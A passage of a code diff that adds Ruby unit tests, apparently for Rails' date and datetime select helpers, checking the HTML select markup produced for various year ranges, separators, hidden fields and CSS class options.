+    assert_dom_equal expected, select_date(
+      Time.mktime(Date.today.year, 8, 16), prefix: "date[first]"
+    )
+  end
+
+  def test_select_date_with_zero_value
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, start_year: 2003, end_year: 2005, prefix: "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_start_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, end_year: Date.today.year + 1, prefix: "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    last_year = Time.now.year + 5
+    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, start_year: 2003, prefix: "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_start_and_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, prefix: "date[first]")
+  end
+
+  def test_select_date_with_nil_value_and_no_start_and_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(nil, prefix: "date[first]")
+  end
+
+  def test_select_date_with_html_options
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, prefix: "date[first]" }, class: "selector")
+  end
+
+  def test_select_date_with_separator
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), date_separator: " / ", start_year: 2003, end_year: 2005, prefix: "date[first]")
+  end
+
+  def test_select_date_with_separator_and_discard_day
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), date_separator: " / ", discard_day: true, start_year: 2003, end_year: 2005, prefix: "date[first]")
+  end
+
+  def test_select_date_with_separator_discard_month_and_day
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
+    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), date_separator: " / ", discard_month: true, discard_day: true, start_year: 2003, end_year: 2005, prefix: "date[first]")
+  end
+
+  def test_select_date_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n).dup
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), prefix: "date[first]", use_hidden: true)
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), date_separator: " / ", prefix: "date[first]", use_hidden: true)
+  end
+
+  def test_select_date_with_css_classes_option
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="year">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, prefix: "date[first]", with_css_classes: true)
+  end
+
+  def test_select_date_with_custom_with_css_classes
+    expected =  %(<select id="date_year" name="date[year]" class="my-year">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_month" name="date[month]" class="my-month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_day" name="date[day]" class="my-day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, with_css_classes: { year: "my-year", month: "my-month", day: "my-day" })
+  end
+
+  def test_select_date_with_css_classes_option_and_html_class_option
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="datetime optional month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="datetime optional day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, prefix: "date[first]", with_css_classes: true }, class: "datetime optional")
+  end
+
+  def test_select_date_with_custom_with_css_classes_and_html_class_option
+    expected =  %(<select id="date_year" name="date[year]" class="date optional my-year">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_month" name="date[month]" class="date optional my-month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_day" name="date[day]" class="date optional my-day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, with_css_classes: { year: "my-year", month: "my-month", day: "my-day" } }, class: "date optional")
+  end
+
+  def test_select_date_with_partial_with_css_classes_and_html_class_option
+    expected =  %(<select id="date_year" name="date[year]" class="date optional">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_month" name="date[month]" class="date optional my-month custom-grid">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_day" name="date[day]" class="date optional">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, with_css_classes: { month: "my-month custom-grid" } }, class: "date optional")
+  end
+
+  def test_select_date_with_html_class_option
+    expected =  %(<select id="date_year" name="date[year]" class="date optional custom-grid">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_month" name="date[month]" class="date optional custom-grid">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_day" name="date[day]" class="date optional custom-grid">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005 }, class: "date optional custom-grid")
+  end
+
+  def test_select_datetime
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, prefix: "date[first]")
+  end
+
+  def test_select_datetime_with_ampm
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
